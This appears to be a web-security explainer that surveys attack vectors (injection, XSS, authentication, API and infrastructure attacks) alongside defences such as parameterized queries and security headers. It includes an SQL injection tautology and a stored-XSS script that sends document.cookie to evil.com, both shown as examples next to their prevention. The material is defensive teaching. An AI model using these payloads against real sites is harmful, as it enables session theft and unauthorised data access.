Attack Vectors
An attack vector is a path or method that a malicious actor uses to gain unauthorised access to a system, network, or application. Understanding common attack vectors is essential for building secure software.
Common Web Application Attack Vectors
Injection Attacks
SQL Injection
Malicious SQL inserted into queries:
-- Vulnerable query
SELECT * FROM users WHERE email = 'user@example.com' OR '1'='1'
-- Prevention: Use parameterized queries
SELECT * FROM users WHERE email = $1
Cross-Site Scripting (XSS)
Malicious scripts injected into web pages:
<!-- Stored XSS example -->
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
<!-- Prevention: Escape output, use CSP headers -->
Authentication Attacks
| Attack | Description | Mitigation |
|---|---|---|
| Brute force | Trying many passwords | Rate limiting, lockouts |
| Credential stuffing | Using leaked credentials | MFA, breach detection |
| Session hijacking | Stealing session tokens | Secure cookies, HTTPS |
| Phishing | Fake login pages | User education, MFA |
API-Specific Vectors
- Broken authentication: Weak token validation
- Excessive data exposure: Returning more data than needed
- Lack of rate limiting: Enables abuse
- Mass assignment: Accepting unintended parameters
- SSRF: Server-side request forgery
Infrastructure Attack Vectors
- Unpatched software: Known vulnerabilities exploited
- Misconfigured services: Open ports, default credentials
- Supply chain: Compromised dependencies
- Social engineering: Tricking humans, not systems
Defense Strategies
Defense in Depth
Multiple layers of security:
WAF → Load Balancer → Application → Database
↓ ↓ ↓
Block attacks Auth checks Encrypted data
Security Headers
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
What We Recommend
- Use frameworks: Modern frameworks prevent common vulnerabilities
- Keep dependencies updated: Automated vulnerability scanning
- Enable WAF: Block known attack patterns
- Implement authentication properly: Use proven libraries
- Regular security audits: Penetration testing, code review
- Encrypt everything: SSL/TLS for transit, encryption at rest